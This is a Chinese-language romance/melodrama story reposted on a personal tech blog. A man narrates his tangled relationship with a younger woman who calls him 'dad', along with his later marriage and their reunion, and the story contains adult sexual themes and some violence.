weitom1982

向各位技术前辈学习,学习再学习.
posts - 299, comments - 79, trackbacks - 0, articles - 0
  IT博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

第一次认识,我27,她19,我们相差8岁
她说,你老得都可以做我爸啦。
我笑笑,27与19差的8岁,不象37与29差的8岁,是两个世界的人。
我们恋爱了,她喜欢叫我爸爸。
时常粘过来,坐在我腿上,爸爸,你说我明天去面试好呢,还是和同学去唱歌好?
我喜欢这种感觉,奇怪的是,我竟然喜欢。
当一个女孩子叫你爸爸时,你感到你对她的宠爱绝对应该是无条件的,当她在床上,大汗淋漓地叫,爸爸,快一点,再快一点时。好刺激,简直让人兽性大发,当她乖乖地躺在你怀里,和你一起看碟时,你给她做鸡翅吃,她拿着送到你嘴巴里,然后自己只是抿一抿手指上的酱汁,然后撒娇地说,我孝顺吧?——的时候,她好乖。
这只是我们之间的秘密,当我们一起出门去街上,看起来是这么般配,她挽着我的手臂,我淡淡地走着,在人群中,她显得是这么成熟,这么游刃有余,只是回到家,她的孩童本性才暴露无疑,她才19岁,在爱的人面前,9岁都不为过。
的确我也渐渐发现了这一点,刚开始的新鲜刺激都变成了怀疑,她真的只象是我的女儿,永远在问,我这样好还是那样好?永远调皮捣蛋,永远在我骂过她后第二天在学校给我发来消息说,爸爸,我错了,对不起。我工作上的压力,我在这个人际场上遭遇的挫折,永远别想在她这里得到舒解,我跟她探讨一些形而上的问题时,她永远眨着眼睛,在钱柜里,她只认识SHE,我只是在不断地宠爱她,渐渐,这宠大过了爱,这和女儿有什么区别?和真的女儿有什么区别?
女朋友难道不应该是那个和你有精神交流的人吗?
恋人之间难道不应该是彼此扶持吗?我好累。
我说我们还是分开吧,或许你真的只适合做我的女儿。她说爸爸你是不是要给我找个后妈?我看着她,哭笑不得。
她说,那你还会疼我吗?象爸爸疼女儿一样,我说恩,我会的。
她走了,双目含泪,问我,爸爸,我还可以找男朋友吗?
我有了新的女朋友,和我一般大。她没有了消息,我们再少联系。我渐渐忘了她,女朋友很好,我们在一起,我感到宁静,不那么累,她是如此善解人意,我开始有信心,工作有起色,只是偶尔会想到,曾经有过一个女孩子叫我爸爸。

有过一次在一个酒吧遇到她,我牵着女友的手走出去的时候,她和一帮男女嬉闹着拥进来,她没有看到我,我却注意到她,头发长了。
几个月后的一天,我和女友正准备睡觉,她打电话来,外面正在下雨,她站在我家门口,说太晚了,回不了宿舍,女友过来问是谁,我说是我认识的一个小妹妹,她有些愕然,但马上甜甜地唤,嫂子好。我给了她另一个房间,去卧室睡了。
半夜睡不着,去洗手间上厕所,一进门差点魂飞魄散,她正穿着牛仔裤坐在马桶上发呆,我问她在干什么,她只是看着我说,爸爸。
我们心急火燎地拥进另一个房间,在房间我们互相脱着彼此的衣服,互相野兽一般地吻,我突然想到套子在我与女友的卧室里,她说不要紧,进来。
黑暗中我搂着她,问她现在还好吗,她说好的。
回到卧室,女友已经起来了,在床上吸烟,我问她大半夜吸什么烟,她淡淡看我一眼,说我在计算时间,一支烟五分钟,我想看你厕所上了多久。然后一字字道,让她走。
第二天大清早,她早已不知所踪,留了张条子说,嫂子,对不起,爸爸是好人。女人嗤了一声,看我,这什么乱七八糟的?抄起
手机 就去上班了。
再一次看到她是再几个月后,也是在一个酒吧,我也很奇怪怎么我偶尔去酒吧,怎么每次都遇到她,她居然是这个酒吧的DANCING QUEEN,她已经不是当初那个甜甜地笑着问我,爸爸,我孝顺吧的女孩了,我走出酒吧,回头发现她站在门口,穿着小可爱,远远地用手掌在小腹上划了一个圈。
这个动作让我莫名其妙了很久,回到家,用钥匙插进锁扭动的刹那,突然全身每个毛孔都沁出一滴冷汗。
那晚她说不要紧,进来。
我拨她手机,没有人接听,我再拨,接起,我冲着电话喊,你不要那么任性!突然电话里是我女友莫名其妙地问,你说什么?
我一个人呆呆地想,是的,这都是计划好的,她来我家,与我做爱,然后我拨她电话,第一遍她看着手机不接,然后在我拨第二遍的时候迅速把号码转移到我女友手机上。
她行事如此眉头也不皱,我毛骨悚然。
我们在一起时她曾说过,要和我生个孩子,叫她妈妈,让他爱上自己的妈妈,她叫我爸爸,我们是乱伦家族。我当时觉得她无比可爱。
其实我不知道她在肚子上划个圈究竟是不是这个意思,我一点不确定她是否真的怀孕,只是我开始明白,她从来不是我以为的那个小孩子,她太了解我,从一开始她就了解我,她用一个动作就可以让我魂飞魄散,我一直以为她很幼稚。
原来我从一开始就错了,现在我根本不知道怎么办好。
真是恐怖。
人有时候喜欢自以为是地去解决什么问题,到头来捉襟见肘,我认为我应该主动地坦白从宽。
出乎我的意料,女友并不知道那天晚上我和“女儿”究竟做了什么,不过现在她知道了。
也知道了爸爸是什么意思。
她冷笑地看我,我努力让自己有勇气面对她。
努力让自己有勇气面对我和女友的将来。
可惜,没有将来了。
女友走了,我一个人在空荡的房间住了三天,突然跳起来往女儿的学校跑。
我在校门口堵住她。

你那天那个动作是什么意思?
什么动作?她眨着眼睛看我。
我闭起眼睛,叹气。
她笑了,笑得阳光灿烂。
我如坠冰库。
朝她赞赏地竖起大拇指,话也讲不出。

她笑得象只甜蜜的小狐狸,一个男生远远跑来。
对不起,下课迟了。
男朋友?我斜着眼,望她。
她朝我吐吐舌头,搂着男生的手往校门外走去
回头招手,爸爸再见。
男生远远狐疑地问,爸爸?
认的啦!她笑,两个人如初春的阳光般慢慢离开。

晚上,她和那个男生来了,来做客。
我不动声色地,“慈祥地”地招待他们。
我“爸爸”对我可好了,他喜欢我的朋友们。
男生胆怯地望着我,我朝他点点头。
把刚才买的碟拿出来!爸爸这里音响好!

音响都是我和她一起时买的,我愿意砸钱在这种地方,她当时在旁边,看得心惊肉跳。
啧啧,好贵。
贵死啦!
怎么会有这么贵的东西?爸爸,你买这个干吗呀。
你好罗嗦……
恩……嘟嘴。

我把音响全部打开,把他们的碟放进去,她和男生坐在
沙发 上。
我……去厨房,给他们做吃的。
看看他们买的一通碟,我实在嗤之以鼻,完全没兴趣陪他们看。
我把薯条,水果,鸡翅端到茶几上。
吃吧吃吧,我说,撑死你们。

谢谢叔叔。男生说。
叔叔……
我真是想掐死他。

转眼看她,对着鸡翅发楞。
怕是想到以前的情景吧。

你们慢慢看。
叔叔你不看吗?男生问我
这孩子真是傻得可爱。
我去自己房间看书,我跟你们有代沟。
男生真是懂事,好象很体谅地朝我点点头。
她听到代沟这个词,朝我飞了个媚眼。
神采飞扬。

我回到房间,给女友写MAIL。
我向她求婚,希望她嫁给我。

外屋一声尖叫。
我张皇冲出去。什么事?
可乐喝光了。
她拿了可乐瓶冲我招摇。
我下面买!男生蹭地站起来
你给我坐下!她斥道,笑吟吟望我,爸爸,你疼我的吧?

我微笑,我去买。
这男生好爱她,看她的眼神都惊慌。
她不该如此骗他,利用他。
今天周末,不用上班?我微笑看着她,盯着她问。
每个周末她都会是一个酒吧的DANCING QUEEN。
那男生不会知道,果然他瞪大眼睛望她,上班?
她亦微笑地看着我

不用,有爸爸养,我干吗要上班呢?她盯着我。
说得也是。我叹气。
下楼买可乐,突然很想哭,拿着可乐上楼,打开门。
他们正在接吻。
听到开门,男生想挣脱,她箍住她。

没关系,就当在自己家好了。我慈祥地说道,把可乐放在桌上。
鸡翅一只也没有动过。

我回房,隐约听到。
他到底是你什么人呀?
爸爸呀。
真的吗?
不信就给我滚!

后来到了一点多,我在卧室里辗转反侧的时候,她推门进来。
你又想叫我买什么?女儿?我讥讽地看着她。
她哀求地看着我,不发一言,我突然心软,搂住她,你怎么了到底?
不要赶我走。

我看着她的眼神,突然记起以前好多个这样的夜晚,她调皮捣蛋的样子浮现在我面前,她对这里是多么熟悉,这里曾经是她的家。

如果女友回来怎么办?我问自己?
我和女友再无可能。
可她,我说了,我会此生象爸爸一样疼爱她,宠她。
或许,今夜,事情会有转折,或许,我会和她重新开始。

你想住下来?我问她。
恩。她重重地点点头。

我同意了,出乎我意料的,她马上兴高采烈地转身向客厅里的那个男生大叫,我爸爸同意啦,我们去睡觉吧。
我呆呆看着她,他也住这里?
他是我男朋友啊,你不是说我可以找男朋友吗?
我感到我的心脏因为愤怒而颤抖,是的,她在玩我,她在用尽她19岁的智力在玩她曾经深爱的人。

我想我不会玩不过你。
好啊,我微笑道,当然。
我们注视着对方,她狠狠地盯着我,凶巴巴的。

曾经无数次,她这么瞪着我,我们在一起时,每当她不高兴时,她会大声宣布,我生气了!
然后整个人嘟着嘴坐在那里。
乖啦,我恐吓她,再不乖把你卖掉!
她就抬起头,用这种眼神看我,瞪着我,凶巴巴的。
然后跳起来,搂着我的脖子,撒娇道,爸爸,我看起来吓人吧?

无可否认,当时她这样看着我,我没有感到恐惧。可是,心痛如绞。
他们去睡了,音响,电视,统统不关。
我一一关掉,突然看到一张碟片,是他们刚才买来的。
《我的野蛮女友》
她曾经无数次央着我陪她一起看,说实话,我实在看不下去,看到一半就跑去阳台抽烟,每次被她拽回来,我就开始假寐。到后来,我乘她不注意,把碟找出来,扔掉了。
她看了无数遍,看得台词都背得出来,居然今天又找人看了一遍。
这个疯子。

收拾完客厅,我回卧室,刚要进去,他们那边房间打开,她打开门,笑嘻嘻地说
老爸。
干吗?
借个套子。
什么?
借个套子
我[sorry,我说脏话了]大爷!
她呆呆地看着我,过了一会,低下头开始掰手指——你是我爸,我大爷就是……
我的眼泪突然流下来。
那天晚上在我印象里有两个版本。

在第一个版本里,我躺在卧室的大床上,瞪大眼珠望着天花板,任凭隔壁欢愉的尖叫潮水般一波波涌来,我跳下床,翻箱捣柜地找棉花,塞耳朵。

不容怀疑,我是故意翻得惊天动地的,在翻弄的过程中,我脑中反复出现了一个被遗弃的怨妇的经典形象,头发散乱,动作迅疾且频率很大,还兼抽搐症状,如果你有看过尼古拉斯·凯奇演的《离开拉斯维加斯》,那会比较好理解一点,对,就是浑身发抖的那一种,最后我瘫在写字桌下,手里握着唯一找到的两片邦迪创可贴,上面还有一只小熊,一只小兔子。那是她上次从楼梯上摔下去,我给她买的,她觉得太可爱,不忍心贴。于是我把它们撕下来,贴在脑门上,呼呼喘气。

在第二个版本里,隔壁是很安静的,好象很纯洁,但这安静在脑中变成了最最恐怖的声音,他们现在在做什么?他们在用什么姿势?没有声音,他们不会在台灯下研究杜蕾斯包装上的英语语法吧?

老爸,这玩意好好玩哪。
老爸,你戴这个不难受吗?
老爸,这活象被人死死勒住脖子啊。
老爸,会不会里面的血倒流啊?

我走出家门,凌晨三点,到了女友家,灯还亮着。
我敲门,她开门。
又是一场相对。
她讶异地看着我。
能不能进来坐一坐,我说,突然发现自己嗓子都是哑的。
你怎么了?她问,你哭过了?
没有,我想抱抱你。我说

那天晚上我是在女友家度过的,这是我生平最希奇的一夜。
我住在分手的前女友家,原因是我被自己的前前女友从自己家活生生***出来。

讽刺吧,生活就是这个样子的。

女友为我铺床叠被,当然,好笑的是,她在为我打地铺。
她睡床,我睡地。
一旦分了手,最狭小的空间也要分隔出最远的距离。

我躺在地板上,听着女友安静而均匀的呼吸声。
想与之共度余生。
她睡得这么安稳。
她会同意吗?
她翻了个身。

她翻身时呼吸的频率一点没有改变。
她根本没有睡着,她在装睡。
我想她会的。

你会不会嫁给我?黑暗里我问她。
你说什么?
你会不会嫁给我?
不会,永远不会。
我心凉了下去,为什么?
她沉默了很久,一字字道
你太变态了,我不适合你。

有没有人告诉你什么叫万念俱灰?那个时候我就是万念俱灰的。

我本来与我的女友有最温馨的感情,我们一起上班,一起下班,周末看电影,一起逛
家具 店,经过钻饰店,她会似笑非笑地看我一眼,让我觉得,随时我牵她手进去,出来她就会是我的妻。
直到有一天,那个19岁的女孩闯了回来,把我打回原形。
那段过去,原本是恋人的私密,现在全成了险恶。
我无法往前走,前路全被堵死。


早上回家的路上看到那个男生和她正去上学,迎面走来,她朝我摊开手。

什么?
给我点钱。
做什么?
老去你家也不好,还是去开房。

OK。退无可退,也就无需再退了。
那一刹那,我决定正式应战。

我微笑望着她,伸出手指抵住脑门——那个贴着小熊创可贴的位置,笑。

地狱一共有几层?
我想,我和我的宝贝女儿很快都会知道。
要报复一个人有多少办法?
其实要惩罚她最好的办法就是接受。

于是我接受了“女儿”和她的男生。让他们自由进出我的房间,为他们所欲为的任何事。
那段时间是我记忆中最为诡异的时光,每XX班回到家,就可以看到她和那个男生坐在桌子前,要么在看电视,要么凑在一起做作业,那个场面极其温馨,甚至在好几次,刹那间我产生异样的幻觉,对面坐着的长发女孩确然便是我的女儿,而她心之所系的并非是我,而是边上那个男生。

她亦变得温驯起来,看到我回来抬头望我,乖乖道,爸爸,你回来了。
男生道,叔叔。
我带回披萨给他们吃,问他们的功课,陪他们一起看幼稚无聊的韩国片,每当边上的男生笑得浑身抽搐时,我都感到边上一双冷冷的眼神,注视着。

她越来越频繁地住在我隔壁房间,而他的男朋友则大多回宿舍。每次我们都站在门口,朝他挥手告别。
路上小心。她叫。
有空来玩。我说。
有一次,我私下问那个男生要张照片,他很奇怪,但还是给了我一张报名照。
后来一天晚上我和她一起晚饭,吃完我不动声色地起身收拾碗筷,她无限幽怨地看着我。
我把刚学的新歌唱得兴高采烈。
我洗碗,她从背后抱住我,从额头抵住我背脊,我转身,从口袋里掏出放大N倍的那张报名照,乐呵呵地展示。
她的“男友”在相片里无限肃穆地望着她,仿佛象遗容。
她无限怨毒地望着我。
猪。
不孝!

一个星期后发生了一件事。
那夜从女友家走出来时,我抱住她喃喃自语,如果你改变了主意,一定要告诉我。
一个星期后的一天,她改变了主意,可我再也没有机会得到她。
那天我在家,临时下楼买包烟,上来的时候发现女儿在哭,我没有理她,回到房间,上网,突然发现MSN里女友已经消失,我心生不详,马上打开聊天记录。
我冲到她房间,拼命砸门,她死也不开。
女友试图与我重新开始。
而她则冒充我严厉地拒绝了她。
女友觉得不对劲,打电话到我家,她接了电话,甜蜜温柔。
装疯卖傻。

开门!你他妈给我开门!
不开!死也不开!
你给我等着!
那天晚上,我去了一个酒吧,叫了一个鸡,把她带回家。
她在客厅呆呆地看着我带着一个艳俗女人回家,开门进了房间。

*女脱了衣服,站在我面前,展示身材。
我一眼没看她,从皮夹点出一千块钱。
叫。
叫什么?
床。
我凑近她,低声说,我什么也不跟你干,你只要使劲叫。

所以说有些东西是需要专业素养的,那只鸡在我房间叫,我皱着眉头在边上翻杂志。
她困惑地望我,怕是从来没碰到如此疯的客人。
十分钟后,我嘴笑泛起微笑。
她终于来了。
她在门外砸,使劲砸。
开门!开门!
不开!死也不开!我冲着门外叫。
让她滚!
我置若罔闻,看着站在我面前的鸡,不要停!
屋外开始号啕大哭,她已经疯了。
我宁愿和只鸡做爱也不想抱她。
开门!你给我开门,她开始门外使劲踹门。

她整整哭闹了十分钟,我懒散地去开了门。
她已瘫软在地上,哭着朝我喊,让她滚。
这是我家,要滚你滚。

她走了。
什么也没说,默默走了。

我闭上眼睛,但愿从未认识她。睁开眼,我已痛得躬下身去。

事情本来就这样结束的。

几天后,我接到那个男生的电话,他问我女儿为什么好几天没去学校。
我默不作声。
她失踪了?
电话那里沉默了很久。
她怀孕了你不知道?男生在电话那头问我。

她怀孕了?
是的。
我心脏一阵痉挛,是我的孩子?
是的。
我闭起眼睛。
电话里问:你是不是想问,那天晚上我们……,他笑了笑。
我不喜欢女孩子的,他轻轻讲。

全明白了。
万死莫辞。

我去了她学校,教务处的人说她已经办了退学手续,我到她寝室,所有的东西都收拾一空,空荡的床上轻轻飘动着粉红色的纱帐,那是学期开学时我买给她的。

我去了她跳舞的酒吧,所有人都说她辞职了,我不信,天天去那里等,我拽着新上任的DANCING QUENN,一相情愿地肯定她知道她的去向,然后我就被打了。

我做得确然有些过分,我把那个女孩子堵在女洗手间门口,她不告诉我,我决不让她上台,她耸耸肩,拨了电话,过了会来了几个人,先是好言相劝,我朝他们翻白眼,他们拖着我往酒吧门口拉,经过一张台子,我抄起一个酒瓶,然后我就被打了。

我爬回家,坐在家门前擦着眼泪一遍遍拨她手机。
没有“您拨的用户已关机”,没有“您拨的是空号”,没有“您拨的号码暂时无法接通。”没有“您拨的用户正在通话,请稍后拨。”,什么都没有,就是无止境的空白。

躺在地上,还在痴痴笑。
明天她就会回来了吧,摇着我的胳膊说,老爸,我好饿。
老爸,我出去逛了圈,还是喜欢你这里。

我就这么痴痴笑着睡去,我把房间整理得很干净,我在门上贴着对联。
上联是“欢迎你回来。”
下联是“不许再走了”
看了看,对自己的书法很是满意。

三个月后我撕掉对联。
揉成一团,放进嘴里使劲咽,最后趴在马桶边干呕。

一年过去了,我完全想不起来这一年是怎么过的,我通过各种方式找她,我会在梦中叫醒,在我的眼睛看来,天花板上分明爬着一个
婴儿

再也没有人见过她。
一年后的一天,我坐出租车路过一个师范学院,我*在车窗,远远看见一个与之一模一样的背影。我连忙叫司机停车,我冲下车,追上去一把拉住她。

回过头,是个陌生的女孩子。惊恐地望着我。
对不起,我放开。
她笑了,认错人了吧。

她要赶去一个地方,打不到出租车,为了抱歉,我送她,到了目的地,她下车,我留下了她的电话。

三个月后,她从师范学校毕业,我们结婚了。

刚开始在一起的时候,我一直在她后面保持一段距离走着,因为她们有着一模一样的背影,时间,让我慢慢走上去。

这段距离的拉近,意味着我渐渐忘掉一个人,渐渐接受另一个人。
妻问我,爱她吗?
我点头,说,我爱你。
我确实是爱她的。
没有任何证据表明我不爱她。

我们一直会说我爱你,每个人都会说。

是的,爱只是一个词,内容千差万别。
我不这样爱你,不代表我不爱你。

妻在一个幼儿园当了老师,每一个同事都羡慕她,有一个这么疼她的老公。
每天来接她下班。

时间,就是这样慢慢过去的,我把她的照片放在最最隐秘的地方,隐秘到自己都不敢翻动。
也不敢销毁。

那是在婚后的四个月零三天,如往常一样,我去接妻下班。
妻正在和一个穿着长裙,化着淡装的女子聊天,他们并排坐在绿色的小长木凳上。

一个小孩子在他们四周调皮蹒跚地跑来跑去。

妻看到我,笑着介绍说,这是我先生。
我一动也不敢动,呆呆望着她。

我的女儿,她不再扎着马尾,长发流泻下来。
震惊从她脸上一闪而过。

你好,两秒钟后,她礼貌地伸出手,淡淡笑道。

小孩子摇摇晃晃地抱着我腿,呀呀地唤:爸爸。
笑得春光灿烂。

妻笑起来。
那不是你爸爸……
如果你日夜思念的人在你面前,你只能装作完全不认识她,是什么感觉?
因为她装作不认识你。
我甚至怀疑她从未认识过我。
她爱怜地撸撸小男孩的头发,抱起来朝我们点了点头,离开了。

我开着车,带妻去吃饭,不经意问。
那是谁?
哦,她很漂亮吧。
是哎,我嬉皮笑脸地望着妻,不过及不上你。
于是妻满足地讲起了她的来历。

前两个月一天,突然看见她隔着幼儿园的栏杆,无限贪婪地看着,我回望她。
她朝我笑笑,我请她进来坐。
过了两天,她带了那个孩子来。
她似乎很忙,总是周末来接他,平时都归我们园照管。
妻的幼稚园有日夜寄宿的一项服务。
类似孤儿院。

那多少次我去接妻时,我的孩子正在我边上玩着积木?
我极疲倦。
累了吧,早点回去吧,妻温顺极。
晚上,我抱着妻,一次次进入她,流着眼泪。

妻摸着我的脸颊,问我怎么了。
我说我爱你。

礼拜一,我离开公司去了那里,妻只是惊讶我怎么给她惊喜,没空顾我。
我找到那个孩子,问他妈妈好吗。
他只是笑着唤爸爸。
似乎妈妈只教过这一句。

第二个周末,我早早等在那边,她抱着孩子与妻出来,似乎与妻很谈得来。
望见我,朝我点点头。
不如回家一起吃个便饭。我提议。
妻极热烈地赞成,搂住我。
我老公做的鸡翅可好吃。

我迫切盯着她,她惶恐地看了看妻,低下看了看孩子。
好。
我便开车送她们回家,一个人在超市里买了许多菜,路过速冻鸡翅,独独跳了过去。
看到她再吃我做的鸡翅,会想起“我孝顺吧”的笑容,我会崩溃。

回到家,妻正带着她展览我们的家。
她何尝不熟悉每一寸。只是淡淡随着妻介绍,笑。
望着妻幸福的笑容,我决定与她一样,当作什么都没发生过。
于是这顿饭吃得极其圆满,我讲起公司的趣事,她笑得十分开心。
喝了酒,更是笑得手舞足蹈。
时光刹那倒流。

晚了,妻让我送她回去,她点头。
下楼时,她抱着孩子,我心跳得很厉害。
我手里握着车钥匙,口袋里的信用卡还有钱。
如果此刻我拽着她的手,开着车,从此天涯海角,为什么不?
当时,真有一瞬间是这样想,豁出去算了。
真的豁出去算了。
房子,公司,一切都留给妻。
这样的机会,再也没有。
然而不行。
抵不过,便是责任二字。
恨自己恨到骨子里。

到得楼下,她说就到这里吧,我打车回去。
我一把拽住她,装到什么时候?
我没装呀?她笑了,笑得还是那么好看的,说,我已经不爱你了。
不相信?

我深呼吸,两次,笑。
真的?
真的!她看着我,无比认真地回答。

似乎真又有交锋感。
于是我笑,好呀,那时常来玩。说罢,还是盯着她眼睛。
人,总是斗不过好胜之心。

只要你没意见。她笑得眼神复杂。

然后,她便成为我们家的好友,妻会到周末,由我开车送到商业区。
她候在那里,两个人亲如姐妹般携手逛街。
买了一堆乱七八糟的衣服回来,在房间里互相比试,笑着让我进来评比。
有时候她们甚至在饭桌上同气连枝地嘲弄我。

哟,今天带得领带很帅的嘛,秘书买的呀?
呀,你这个人怎么那么开不起玩笑啦。说说你老公,怎么这样呀,多不好。
妻笑吟吟地看着我们闹。
他就象个孩子,什么都说不起。妻笑着挡驾。
乖噢,妈妈给你买糖吃,妻胡噜我头发。
我坐在那里装疯卖傻,谢谢妈妈。

大家笑,一室春光。

我从来没问她一年多来如何过的,我不敢问。
是怕回答。
她让我送她了,只是永远送不到目的地,在快到时,边叫,下来下来,到了。
一个多月后的一天,我放她下来,她跳下去,象小鹿一样。
是啊,她才21。
我抱住孩子,逗弄着不肯放。
她先是在边上看着笑,笑着笑着捂住嘴,然后失声痛哭。
我走上去,轻轻搂住她。
她一把抱住我。
老爸!

刹那间我肝胆俱裂。

那天晚上下着雨,她在我怀里哭了很久,浑身颤抖,哭了整整两个小时,仿佛一年多来的全部爆发出来。
我紧紧抱住她。
贪得一秒是一秒。

最后她放开我,抬起头。
这不是我们的孩子!
我们的孩子死了!
那天我要送她回家,她不肯。
她还是怕我知道她出处。
我坚持。
她望着我,说不如去酒店。
她急需休息或者倾诉。
我们去了附近的一家四星级酒店。
开了房,服务生带我们进房。
进了房,她将孩子放下,我搂抱住她。
她轻轻将我推开。
告诉我这一年来怎么过的。我紧紧盯着她。
让我休息会,她说。
自顾自走过去。
躺在床上,闭着眼睛,一动不动。
我望着她甜美的睡容,突然忆起以前相处时的时光,常常早上醒过来,咫尺间便是这样一张甜美的睡容,安详,宁静,象个孩子一般好看,她的皮肤,好象吹弹便破,每当那时,我便会恶作剧地使劲吹她的脸,看看到底能不能吹破掉。被我吵醒,她都会大叫。
肆无忌惮地尖叫一番。
叫完,翻了个身,又睡着了。
我慢慢走过去,看着她,端详了很久,慢慢把她遮盖在脸颊的长发掠过耳边。
她突然惊醒。
原来刚才真的睡着了。
她朝我笑笑,起来开了罐
咖啡
把孩子抱在床上,盖好被子,坐在桌角,静静望着我。
你想知道什么?
你知道我想知道什么,我低沉着嗓子望她。
以前每当我用这种嗓音跟她讲话,她都会吓着,惊恐地望着我。
这次她只是淡淡一笑。
好罢。她说。
那天我从你家离开,我根本就没有离开,坐在楼道里。
一个男人走上来,后来我就和他生活在一起,后来他死了,这是他的孩子。
她用寥寥几句总结了一年。
一年里她一直住在我楼下。
我们的孩子呢?
他走前,把孩子托付我送去孤儿院,我没送,把自己的孩子打掉了。她淡淡说。
你好狠。我说。
我爱他!她回敬我,你一直不相信我会爱上别人!可是我爱他,为了他,我可以带大他和别人生的孩子,把我自己的打掉!
我不信。你怎么说我都不信。
她突然笑起来。
你真可爱,你不会以为这孩子是我拐带来的吧?你可以去查查公安局有没有失踪案。
你爱他?我冷笑。
你从我房间出来就爱上了另一个男人,第二天从学校搬走所有东西和他住一起?
——你的爱真珍贵!
她毫无征兆地打了我一耳光。
木无
表情 地看着我。
突然愧疚。

一切是我的错,我怎能再讥讽她。
不甘心罢了。
叹气。

好,你真打算带他长大?你拿什么养他?
你管得真宽。她微微一笑。

那个时候我和她又四目相对地对峙着。
在她的笑容里我突然发现我还爱她。
或者说,我竟然重新爱上了她。
恋爱后期,我已疲倦地不想望她。

她突然说了句没头没脑的话。
我看着你第一次领你的老婆进的楼。

我有妻。
我完美的妻。
我站起来,走吧,送你回家。
你先走吧,我想在这里睡一晚,她看了看气派温适的房间。
毕竟付了钱。
况且孩子也已经睡着。

心烦得不知怎么再去坚持。
我竟然会还爱她。
或者说。
我竟然重新爱上她。

如何区分?
结果不还都一样?

她已不爱我。
好悲哀。
妻尚在等我。
连悲哀资格都没有。

好,你早些睡。
我转身走。
她突然叫住我。
我回头。
她怔怔望着我,突然问。
我还能到你们家来吗?
我笑笑,点了点头。
她似乎一下子松弛下来,给了我一个甜美的笑容。
好心疼。

走出房间,下了电梯。
走在大堂,想拨个电话给妻,现编个理由。
尽管并未对她不起,但送她送了三个小时,无论如何讲不过去。
摸口袋,手机留在房间。
记起来,刚才调了无声了,顺手放在桌上。

上楼,敲门。她不开。
我使劲敲。
一个服务生走过,我让他开。
开了门,房间里空荡荡的,毫无一人。
怀疑走错,抬头看门号。
你看到这里的小姐走吗?我问服务生。
噢,X小姐。他说。
X小姐?X是我的姓。
心中突然不妥。
你认识她?
是,她一直住这里。只是不是这间房。
我怔怔随着服务生按了电梯,坐再上一楼。
他将我引到一个房前。退开。
我犹疑着敲门。
门打开,她震惊地望着我。
我突然明白一切。
她用什么养那孩子。
她已是一个高级*女。
我一把冲过去,掐住她脖子,将她撞在墙上,喉咙里发出野兽受伤的声音。
呜呜作响。


她脑袋狠狠撞在墙边,并不呼痛,只是看着我。
多少钱?
什么?
多少钱?
什么?
睡你一晚多少钱?我毫无控制地叫起来。
三千。她说。
当时她说这句话的时候毫无情绪波动。
今天天气很好。
三千。
我怔怔地望着她,渐渐浑身抽搐,无可遏止,我掏出皮夹,想找三千块扔过去。
学那电视剧经典情节。
可惜我从不多放现金在皮夹,那多暴发。
我掏出卡。
可以。她开始脱裤子。

我流眼泪了,我走过去轻轻抱住她。
她裤子脱了一半,被我抱着。
什么话也不说。
只是任我抱着。
我养你。我在她耳边反复轻声说,我养你好吗?
我好贵的。她似乎在说给自己听。

那晚我从酒店走出来,知道自己命中注定要喂食她一生。
因为她是我女儿。

第二天,我叫秘书拿了报纸给我,查了市区一家小户型楼盘。
当天下午,自银行提了三十万,作首期。
她真的好贵。
恋爱时,一小碗米粉都叫她高兴半天,非但如此,还***我也必须吃得干净,不许浪费。
男男女女,就喜欢这么作践自己。

这个礼拜,还是按时回家与妻吃晚饭。
她答应我,再也不了。
妻对我的变化毫无察觉,或许是我年岁一大,伪装功夫高明。
然而,在床上,妻的脸还是毫无障碍地变成了她的。
充满讥讽。
那时我竟然阳痿。

房子买得很顺利,眼看三天后她就可以住进去。
虽然小,可是很温馨。
而且着实不便宜。
谁说温馨便宜。
那天晚上做了个梦,梦到我在那间房里和女儿彻夜做爱,孩子也变成我们的。
除了会叫爸爸。
也会叫妈妈。
她的床上功夫变得好极了。
毕竟伺候过无数男人了。
梦里我竟哭着笑出声来。

那天早早地,我去酒店接她,她早已等候着我。
收拾好一切。
穿得象个新学期开学的女生。
我搂住她,她*在我怀里。

我带她去她的新家,她看着,转头在我脖子里吻。
我心中苦笑,终于走上成功男人无可避免的路。
放置好她东西,我开着车去妻的幼儿园,我们再一起回家吃晚饭,晚上她就会回到这里。
但愿钢丝走到成功。
获得满场掌声。
那些日子,准确地说,是一个月零三天,我与妻与女儿维持着友好的情谊。
周末她们都会一起出门。我去接她们回来,在我家吃完饭,我再送她去那栋小屋。
妻给我们开车门,笑问我,这么下去,你不会爱上她吧?
我转过脸笑问女儿,这么下去,你会爱上我吗?

送她到小屋,我们坐在沙发上,她枕在我腿上,听着爵士女声。
不知道什么时候开始,她不听SHE了。
可能是楼下那个男人喜欢爵士,以前常听到楼下放爵士的。
一个叫SOLVERG SLETTAHJEII的挪威女歌手用一种随时会断气的声音哼唱着。

当然会动情,有时候我会坐着躬下身去,把她的脸完全笼住。
她就开始练习闭气。
我不屑地抬起脸看着她。
她示威似的继续闭气,我捏住她鼻子,她自动抿住嘴。

我得意洋洋地望着她,她双脚乱蹬,白眼翻飞,终于张嘴深吸一口气。
谁说那个时候我不想吻她呢?

可是她爱的男人生的小孩在边上
地毯 上爬。
音响里放着她爱的人爱的曲子。

我从不在那里过夜,再晚,晚上九点必然回去。
我也从不让她为我做饭。
那具有某种可怕的象征意味。

我与妻会约她一起看电影。
我们一起看过一场《花样年华》
在电影院里,妻坐中间,我与她坐两边。
看到一半,我去洗手间,出来的时候,她也正好走过来。
我到今天也不能确定她是否有意在我上洗手间的时候也上洗手间。
我只记得我们擦肩而过的瞬间,我在她耳边问。
好看吗?
她踹我一脚,飞快地跑向洗手间。
由于大家都上厕所,回来的时候,就妻抱着大爆米花桶,我和她各自探出手去拿。
有时候手就会碰到。

那天晚上,我和她吵了一架。
事情是这样的,在我们在爆米花桶里手碰到之后。
也就是电影散场之后,我们一起走出来。
她说她打车回去。
那时电影刚散场,打车的人很多。
妻说我们送你,她坚持不要。


我当然知道为什么。
那情形尴尬极了。
你再客气我不睬你了!妻说。
女儿飞快地看了我一眼。
我朝她微微点头。
她吸口气,笑,好啊,欢迎来玩。

于是我们去她家了。
那个我为她买的家。
打开门,我夸张地叫。
你家好棒。
我们坐在沙发上,她为我们端出煮好的咖啡。
我兀自在那里左顾右盼,赞不绝口。

赞了半天,所有歌功颂德的词全部用光了。
我就坐在那里傻笑。
女儿突然说了一句我差点摔下去的话。
要不要看我的相册?
妻大为兴奋。
好啊好啊。我要看。
于是她捧出相册。
那时,我几乎心跳停止。
她这边有我们许多合影。
妻打开相册,一张张照片翻过。
合影全部没有了。
全是她单人照,在游乐场里,在学校里,在一些商店前。
当中好多张万分熟悉。
因为是我拍的。

当时她随口讲解,这张是哪里拍的,那张是哪里拍的。
好象和我完全没关系。
